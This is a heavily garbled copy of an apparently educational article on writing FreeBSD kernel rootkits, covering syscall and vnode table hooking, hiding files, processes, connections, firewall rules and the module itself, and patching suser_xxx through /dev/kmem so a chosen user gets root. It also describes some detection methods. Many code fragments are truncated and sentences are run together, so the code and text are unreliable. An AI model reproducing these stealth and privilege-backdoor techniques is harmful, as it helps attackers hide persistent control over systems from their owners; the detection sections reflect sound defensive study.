text: 1. Introduction
  1.1 Kernel Modules
  1.2 Useful Functions
  2. Techniques
  2.1 Replacing Function Pointers
  2.1.1. System Calls
  2.1.2. Other Tables
  2.1.3. Single Function Pointers
  2.2. Modifying Kernel Lists
  2.3. Reading and Writing Kernel Memory
  2.3.1. Finding the address of a symbol
  2.3.2. Reading data
  2.3.3. Modifying kernel code
  3. Common Applications
  3.1. Hiding & Redirecting Files
  3.2. Hiding Processes
  3.3. Hiding Network Connections
  3.4. Hiding Firewall Rules
  3.5. Network Triggers
  3.6. Hiding the module
  3.7. Other applications
  4. Patching the kernel
  4.1. Introduction
  4.2. Inserting Jumps
  4.3. Replacing Kernel Code
  5. Reboot Proofing
  6. Experimental
  7. Defending yourself: The cat and mouse game
  7.1. Checking the symbol table
  7.2. Building a Trap Module
  7.3. Retrieving data directly
  7.4. Remarks
  8. Conclusion
  9. Code
  10. References
  11. Thanks.
  This text has been written for educational purposes only. Use with care :) All the example code is available as a single package called Curious Yellow (CY) at the end of this article.
  This text assumes you know the basics of how to write a FreeBSD kernel module. If you've never worked with them before you might want to consult the Dynamic Kernel Linker (KLD) Facility Programming Tutorial published in daemonnews or take a look at the examples provided in /usr/share/examples/kld/ on your FreeBSD machine.
  These functions allow you to copy contiguous chunks of data from user space to kernel space and vice versa. More detailed information can be found in their manpage (copy(9)) and also in the KLD tutorial mentioned above.
  Say you made a system call which also takes a pointer to a character string as an argument. You now want to copy the user supplied data to kernel space:
  struct example_call_args { char *buffer; }; int example_call(struct proc *p, struct example_call_args *uap) { int error; char kernel_buffer_copy[BUFSIZE]; /* copy in the user data */ error = copyin(uap->buffer, &kernel_buffer_copy, BUFSIZE); [...] }
  Since you're replacing an existing function, it is important that your newly created function will take the same arguments as the original one. :) You can then either do some pre or post processing while still calling the original function or you can write a complete replacement.
  There are a lot of hooks in the kernel where you can employ this method. Let's just look at some of the commonly used places. */ [...]If you want to know what struct sysent looks like and what the numbers of the system calls are, check out /sys/sys/sysent.h and /sys/sys/syscall.h respectively.
  Say you would want to replace the open syscall. In the MOD_LOAD section of your load module function, you would then do something like:
  sysent[SYS_open] = (sy_call_t *)your_new_open;If you would want to restore the original call when the module is unloaded, you can just set it back:
  sysent[SYS_open].sy_call = (sy_call_t *)open;A complete example will follow below.:
  inetsw[ip_protox[IPPROTO_ICMP]].pr_input = new_icmp_input;Again, a complete example will follow later.
  For every filesystem a vnode table is kept that specifies what function is called for which VOP. Say you wanted to replace ufs_lookup:
  ufs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *) new_ufs_lookup;
  There's more places like this where you can hook in, depending on what you want to achieve. The only documentation however is the kernel source itself.
  Some of the more interesting lists.
  The linker_files list: this list contains the files linked to the kernel. Every link file can contain one or more modules. This has been described in the THC article, so I won't go into that here. This list will become important when we want to alter the address of a symbol or hide the loaded file with modules.
  The module list: modulelist_t modules contains a list of the loaded modules. Note that this is different from the files linked. A file can contain more then one module. This will also become important when you want to hide your module.
  Of course there's a lot more to be found in the kernel sources.
  [...]); }
  There's multiple levels you can hook in your code in order to hide your files. One way is via catching system calls such as open, stat, etc. Another way is to hook in at the lookup functions of the underlying filesystem.
  /* *)); }In the function file_hidden you can then check if the filename should be hidden. In the loader of your module you then replace the call to open with new_open in the syscall table: THC article and some other places, so I won't go into detail here..
  Say you wanted all lookups on a UFS filesystem to go to your own function. First of all you would make a new ufs_lookup. From module/file-ufs.c:
  /* *)); }Then you would have to adjust the pointer in the vnode table when the module is loaded:.
  #define P_HIDDEN 0x8000000When a process is hidden, we'll set this flag so it can be recognized later. See module/control.c for the CY control functions that hide and unhide a process.
  If you do a ps, it will go to kvm_getprocs, which in return will make a sysctl with the following arguments:
  name[0] = CTL_KERN name[1] = KERN_PROC name[2] = KERN_PROC_PID, KERN_PROC_ARGS etc name[3] can contain the pid in case information about only one process is requested.name is an array that contains the mib, describing what kind of information is requested: eg what kind of sysctl operation it is and what is requested exactly. In short the following sub query types are possible: (from /sys/sys/sysctl.h)
  /* * */This will ultimately end up at __sysctl. The THC article also contains some information on this, but since I had implemented it differently, I included some example code in module/process.c. This is also the place where we'll hide network connections later. :)
  However, similar to UFS one can also just fix the corresponding entries for procfs. Example code for this is given in module/process.c. A new procfs lookup for example could look like this:
  /* *)); }You would then replace it when you load the module:); }
  name[0] = CTL_NET name[1] = PF_INET name[2] = IPPROTO_TCP name[3] = TCPCTL_PCBLISTIn exactly the same way as before, the data to be hidden will be cut out of the data retrieved by userland_sysctl. CY allows you to specify various connections that should be hidden via cyctl. See module/process.c for the __sysctl modifications..
  #define IP_FW_F_HIDDEN 0x80000000.
  Part of module/icmp.c:
  [...]; } [...]Then, in order to replace icmp_input when the module is loaded:);The next thing one needs to do, is remove the modules from the module list. In the case of CY this is only one. Similar to the linker_file the module list also keeps a counter, nextid, one should decrement.
  extern modulelist_t modules; extern int nextid; [...] module_t mod = 0; TAILQ_FOREACH(mod, &modules, link) { if(!strcmp(mod->name, "cy")) { /*first let's patch the internal ID counter*/ nextid--; TAILQ_REMOVE(&modules, mod, link); } } [....
  It should also be possible to filter reads and writes. This would become particularly interesting in the case of /dev/kmem through which a lot of information can be obtained.
  In the techniques section I've already outlined some of the basic ways on how to work with /dev/kmem. This section concentrates on writing to /dev/km.
  In the tools section, there's a file called tools/putjump.c:
  /*); }Data can be written to other places accordingly.:
  # objdump -d /kernel --start-address=0xc019d538 | more /kernel: file format elf32-i386 Disassembly of section .text: c019d538This is what suser_xxx has been compiled to. You can compare this with the original code for suser_xxx, which is defined in /sys/kern/kern_prot.c:
  : c019d545: 85 d2 test %edx,%edx c019d547: 75 13 jne c019d55c c019d549: 68 90 df 36 c0 push $0xc036df90 c019d54e: e8 5d db 00 00 call c01ab0b0 c019d553: b8 01 00 00 00 mov $0x1,%eax c019d558: eb 32 jmp c019d58c c019d55a: 89 f6 mov %esi,%esi c019d55c: 85 c0 test %eax,%eax c019d55e: 75 05 jne c019d565 c019d56b: 85 d2 test %edx,%edx c019d56d: 74 1b je c019d58a c019d56f: 83 ba 60 01 00 00 00 cmpl $0x0,0x160(%edx) c019d576: 74 07 je c019d57f c019d578: 8b 45 10 mov 0x10(%ebp),%eax c019d57b: a8 01 test $0x1,%al c019d57d: 74 d4 je c019d553 c019d57f: 85 d2 test %edx,%edx c019d581: 74 07 je c019d58a); }Unless you're the total assembler person (unlike me :) ), you have to look at this for a bit. You can infer that %eax contains the cred and %edx the proc stuff. Basically what we would want now is something like this:
  if ((cred->cr_uid != 0) || (cred->cr_uid != MAGIC_UID)) return (EPERM):
  c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax) c019d569: 75 e8 jne c019d553Lets first change this to jump to go to the place where we'll add our new code. This is where the start of the printf stuff is located:
  c019d549: 68 90 df 36 c0 push $0xc036df90 c019d54e: e8 5d db 00 00 call c01ab0b0For this we need to change the address the jump will go to. 0x75 specified jne and 0xe8 above is the jump address..
  Ok, now let's put this all together. This will add the extra check for user with uid 100 (me on my laptop :) ) as described above:
  #includeIn direct/fix_suser_xxx.c you will find a slightly altered version, which will ask you for your user id (< 256 ;)) and find out the location of fix_suser_xxx itself.
  #include #include #include #include ); }
  After you made these changes you can quickly test it, with your new superuser by copying /sbin/ping to your own directory and executing it as the user.
  This is an excerpt from exp/symtable.c:); }The symtable module is a seperate module which will load the system call above. You can test it using the set_sym utility. This defeats the checks made by tools/checkcall.
  This table is also consulted when new stuff is linked into the kernel, so you might want to play with this :) Unfortunately I didn't get around to it yet.
  Let's look at some of the methods that could be used to detect such a module.However, we can fix this using setsym. For this you first need to load the module contained in the experimental section exp/.
  # exp/setsym 0xc0cd5bf4 openNow.
  The problem with this approach is that someone could use file redirection to point you to a different /kernel or objdump. However it would be quite a bit of hassle to cover this up.
  Note however that the defensive methods outlined in 7.1. can also be used against your trapmodule :).
  The problem with this approach is however that an attacker that knows of your modules, can circumvent them.).
  Playing with this kind of stuff allows you to learn more about how the kernel works. And, most importantly, it can be fun :)
  Job de Haas for getting me interested in this whole stuff Olaf Erb for checking the article for readability :) and especially Alex Le Heux